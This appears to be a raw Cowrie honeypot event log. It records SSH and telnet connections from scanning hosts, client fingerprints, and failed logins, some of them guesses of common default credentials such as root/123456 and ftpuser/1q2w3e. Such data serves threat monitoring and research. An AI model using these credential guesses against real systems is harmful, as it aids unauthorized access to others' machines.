{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:6c:e0:46:b2:23:75:1e:ad:5a:89:36:7f:54:85:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsrKBj1XZ0IrOkM2Eh6LQfCMNybEjuGxto3M8BxXM6uO7fLrakF0WeDLD+XXZ8QSiW139Batt19I++7wf49MUkZNMgR6QOVCiJfPqYQmC79PcIAeTWyiShVp2rUWcwRgHr3iMTY6xirBgEKtkVi1ERrgmzDZ/I5Q9pMgSi3LvI4oTy6+1sl3qWTmMig4iRi9U67DTc7sZp6wkIKqvshh43aRFnHcEsaKM4B1t11foDJ6lh+DHmT7GQ3oW7ucGHgnoCam3YGKwjxp+80NtIerdgMrV2c7bsL/sT8SbvEuFyOl6cNDW5n7gWGTqS/sRxjcoCOU77ug9kXHootPrgLEpTQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:16.075578Z","src_ip":"102.223.47.171","session":"c983270c7a3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:c4:98:79:7e:f6:d9:98:a1:94:d4:dc:30:ae:dd:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0JSZXY/hEpGZ7bt7mDeYrfvblQViD6hN7+gtwjFZN4YE9N+BZkkJa0eJHRUqhqPNSli2FeymojwCwjJDv1pCI9uvM3J/2BLE9ta1URevS+LftXrobsdYho8++1H9Tl0fHf73S8XmsCD4mCOgIsrVHlqE/mt2jpkUaqSzlkX/n2XJlj/7UbIuwfyro9AIL1LvVQaYChtfo+2vHGDPVYFsp4sgPvynDrX+3UKd6U9cgSKmGN+iZBwC3QDa3Ph/Z1I+cz7kz8OI/nQg+0j/sEEWce0PLx18JfLRltPvpZKIegdW4RHrbzOhmRGZAL8DBh5DnXuuGTPRO3jP2wjak1T1YQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:c4:98:79:7e:f6:d9:98:a1:94:d4:dc:30:ae:dd:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:16.302871Z","src_ip":"102.223.47.171","session":"c983270c7a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:c4:98:79:7e:f6:d9:98:a1:94:d4:dc:30:ae:dd:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0JSZXY/hEpGZ7bt7mDeYrfvblQViD6hN7+gtwjFZN4YE9N+BZkkJa0eJHRUqhqPNSli2FeymojwCwjJDv1pCI9uvM3J/2BLE9ta1URevS+LftXrobsdYho8++1H9Tl0fHf73S8XmsCD4mCOgIsrVHlqE/mt2jpkUaqSzlkX/n2XJlj/7UbIuwfyro9AIL1LvVQaYChtfo+2vHGDPVYFsp4sgPvynDrX+3UKd6U9cgSKmGN+iZBwC3QDa3Ph/Z1I+cz7kz8OI/nQg+0j/sEEWce0PLx18JfLRltPvpZKIegdW4RHrbzOhmRGZAL8DBh5DnXuuGTPRO3jP2wjak1T1YQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:16.307684Z","src_ip":"102.223.47.171","session":"c983270c7a3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:36:eb:18:58:f9:59:24:90:17:30:ae:38:73:21:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2SdJ/Y1PJcXzsuonYJmAUbrrzc6KZimhodvn5jeiVOlQBubakl+Gdd1HvVH0dtoRr5oskqRSmJbyvJh/Z9RnoJ5wUgKHMhKHBsRjqECcVsmzPY173Yb+/cigUNniFQVvHlf4YHV56NaebIElXW/O1bco387GRCI8trqdXm+pHN4VWyLFBRnwrdvuM3i0s732d2VhOk18jUq9d++3REhe1uPLUkY58hZZmaCo8m77QAAEEx4PQISSjXIscUL6L7fo3UvWv26zK/7OkNFqtjeTRa6DJQQ16gFpUskpedhWt+SSkbmRnO0ZxcxTbZ9DUd7PH3sudWg9w50WqvL6Dbw2P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:36:eb:18:58:f9:59:24:90:17:30:ae:38:73:21:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:16.536096Z","src_ip":"102.223.47.171","session":"c983270c7a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:36:eb:18:58:f9:59:24:90:17:30:ae:38:73:21:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2SdJ/Y1PJcXzsuonYJmAUbrrzc6KZimhodvn5jeiVOlQBubakl+Gdd1HvVH0dtoRr5oskqRSmJbyvJh/Z9RnoJ5wUgKHMhKHBsRjqECcVsmzPY173Yb+/cigUNniFQVvHlf4YHV56NaebIElXW/O1bco387GRCI8trqdXm+pHN4VWyLFBRnwrdvuM3i0s732d2VhOk18jUq9d++3REhe1uPLUkY58hZZmaCo8m77QAAEEx4PQISSjXIscUL6L7fo3UvWv26zK/7OkNFqtjeTRa6DJQQ16gFpUskpedhWt+SSkbmRnO0ZxcxTbZ9DUd7PH3sudWg9w50WqvL6Dbw2P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:16.540288Z","src_ip":"102.223.47.171","session":"c983270c7a3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:5c:df:76:a0:a4:2d:20:d0:b7:b2:45:ad:58:61:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApnbPUtsHUfQyjkJf+k7SyiXikk2Sgq6UgLXv4lu6Br1dRYS4KRHYrPDEhmp9vYtvEUMoTfSwYnYBcPjDZbr/tpra7RIQWHlSyWeGAhgaAov8/N3zUo33mz6Lx7Giy8fX7yDvyjV8Z3VzTcc0LPoOGU/xhR5ikrp/tvcxw65G6y8SNOgkxM8bpaZFD82h5ELlxerN27Q0fS7K8TnmtsLDebSkgf7Bwk/Xci/YHxwhO+iq3yUG3Fz/+FgDRzVFGt0vsW/wTxr1we+f7t/q+U1IjP1da5PQKmpP2SZUk3XPqDvLrwwv2JFtkQYXreKu1/+EkwtfQWvMFDXjz+ASn8hLgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:5c:df:76:a0:a4:2d:20:d0:b7:b2:45:ad:58:61:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:16.772854Z","src_ip":"102.223.47.171","session":"c983270c7a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:5c:df:76:a0:a4:2d:20:d0:b7:b2:45:ad:58:61:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApnbPUtsHUfQyjkJf+k7SyiXikk2Sgq6UgLXv4lu6Br1dRYS4KRHYrPDEhmp9vYtvEUMoTfSwYnYBcPjDZbr/tpra7RIQWHlSyWeGAhgaAov8/N3zUo33mz6Lx7Giy8fX7yDvyjV8Z3VzTcc0LPoOGU/xhR5ikrp/tvcxw65G6y8SNOgkxM8bpaZFD82h5ELlxerN27Q0fS7K8TnmtsLDebSkgf7Bwk/Xci/YHxwhO+iq3yUG3Fz/+FgDRzVFGt0vsW/wTxr1we+f7t/q+U1IjP1da5PQKmpP2SZUk3XPqDvLrwwv2JFtkQYXreKu1/+EkwtfQWvMFDXjz+ASn8hLgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:16.777503Z","src_ip":"102.223.47.171","session":"c983270c7a3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:17.005859Z","src_ip":"102.223.47.171","session":"c983270c7a3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38338,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c343ddf9724","protocol":"telnet","message":"New connection: 128.199.8.54:38338 (159.203.135.109:23) [session: 5c343ddf9724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:20.538823Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43200,"dst_ip":"10.17.0.5","dst_port":22,"session":"05787f19a828","protocol":"ssh","message":"New connection: 103.15.226.202:43200 (10.17.0.5:22) [session: 05787f19a828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:51.325347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:51.330137Z","src_ip":"103.15.226.202","session":"05787f19a828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:51.572832Z","src_ip":"103.15.226.202","session":"05787f19a828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:52.293996Z","src_ip":"103.15.226.202","session":"05787f19a828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:53.536824Z","src_ip":"103.15.226.202","session":"05787f19a828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.45487117767334,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:50:54.993522Z","src_ip":"128.199.8.54","session":"5c343ddf9724","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":9785,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a27469b064f","protocol":"telnet","message":"New connection: 212.55.149.117:9785 (10.17.0.5:23) [session: 7a27469b064f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:51:09.302579Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59572,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2e11148729b","protocol":"telnet","message":"New connection: 128.199.8.54:59572 (159.203.135.109:23) [session: f2e11148729b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:51:13.789538Z"}
{"eventid":"cowrie.session.closed","duration":34.18376159667969,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:51:47.973183Z","src_ip":"128.199.8.54","session":"f2e11148729b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.245.237.175","src_port":51100,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d2a04b58bdf","protocol":"ssh","message":"New connection: 103.245.237.175:51100 (10.17.0.5:22) [session: 1d2a04b58bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:51:53.879320Z"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:51:54.460894Z","src_ip":"103.245.237.175","session":"1d2a04b58bdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":32778,"dst_ip":"159.203.135.109","dst_port":23,"session":"66b07e0d6828","protocol":"telnet","message":"New connection: 128.199.8.54:32778 (159.203.135.109:23) [session: 66b07e0d6828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:51:56.590966Z"}
{"eventid":"cowrie.session.closed","duration":59.88387322425842,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:52:09.186327Z","src_ip":"212.55.149.117","session":"7a27469b064f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":46114,"dst_ip":"159.203.135.109","dst_port":22,"session":"a50a4b663306","protocol":"ssh","message":"New connection: 118.194.229.94:46114 (159.203.135.109:22) [session: a50a4b663306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:52:14.913905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:52:14.920879Z","src_ip":"118.194.229.94","session":"a50a4b663306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:52:15.091466Z","src_ip":"118.194.229.94","session":"a50a4b663306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crmadmin","password":"crmadmin","message":"login attempt [crmadmin/crmadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:52:15.806809Z","src_ip":"118.194.229.94","session":"a50a4b663306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:52:16.985365Z","src_ip":"118.194.229.94","session":"a50a4b663306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.19495248794556,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:52:30.785820Z","src_ip":"128.199.8.54","session":"66b07e0d6828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":54308,"dst_ip":"159.203.135.109","dst_port":22,"session":"684c9fe8e20f","protocol":"ssh","message":"New connection: 118.194.229.94:54308 (159.203.135.109:22) [session: 684c9fe8e20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:54:11.610164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:54:11.615112Z","src_ip":"118.194.229.94","session":"684c9fe8e20f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:54:11.772710Z","src_ip":"118.194.229.94","session":"684c9fe8e20f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1q2w3e","message":"login attempt [ftpuser/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:54:12.433707Z","src_ip":"118.194.229.94","session":"684c9fe8e20f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:54:13.594774Z","src_ip":"118.194.229.94","session":"684c9fe8e20f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46020,"dst_ip":"159.203.135.109","dst_port":23,"session":"db4eecc5a36c","protocol":"telnet","message":"New connection: 128.199.8.54:46020 (159.203.135.109:23) [session: db4eecc5a36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:54:27.930456Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":52626,"dst_ip":"10.17.0.5","dst_port":22,"session":"59f64ffe116f","protocol":"ssh","message":"New connection: 103.15.226.202:52626 (10.17.0.5:22) [session: 59f64ffe116f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:54:28.774269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:54:28.778501Z","src_ip":"103.15.226.202","session":"59f64ffe116f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:54:29.030011Z","src_ip":"103.15.226.202","session":"59f64ffe116f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:54:29.773216Z","src_ip":"103.15.226.202","session":"59f64ffe116f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:54:31.023436Z","src_ip":"103.15.226.202","session":"59f64ffe116f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.204.172.213","src_port":37357,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cac4eecd0f0","protocol":"telnet","message":"New connection: 148.204.172.213:37357 (159.203.135.109:23) [session: 9cac4eecd0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:54:57.602934Z"}
{"eventid":"cowrie.session.closed","duration":35.44197082519531,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:55:03.372305Z","src_ip":"128.199.8.54","session":"db4eecc5a36c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.911508321762085,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:55:11.514349Z","src_ip":"148.204.172.213","session":"9cac4eecd0f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":9922,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eab86892fa0","protocol":"telnet","message":"New connection: 212.55.149.117:9922 (10.17.0.5:23) [session: 1eab86892fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:55:23.678377Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59840,"dst_ip":"159.203.135.109","dst_port":23,"session":"336524e94faf","protocol":"telnet","message":"New connection: 128.199.8.54:59840 (159.203.135.109:23) [session: 336524e94faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:55:34.696629Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":18985,"dst_ip":"10.17.0.5","dst_port":23,"session":"22b7283f6e66","protocol":"telnet","message":"New connection: 212.55.149.117:18985 (10.17.0.5:23) [session: 22b7283f6e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:55:49.968586Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":40232,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9428f09a289","protocol":"ssh","message":"New connection: 118.194.229.94:40232 (159.203.135.109:22) [session: a9428f09a289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:56:06.883575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:56:06.889360Z","src_ip":"118.194.229.94","session":"a9428f09a289","protocol":"ssh"}
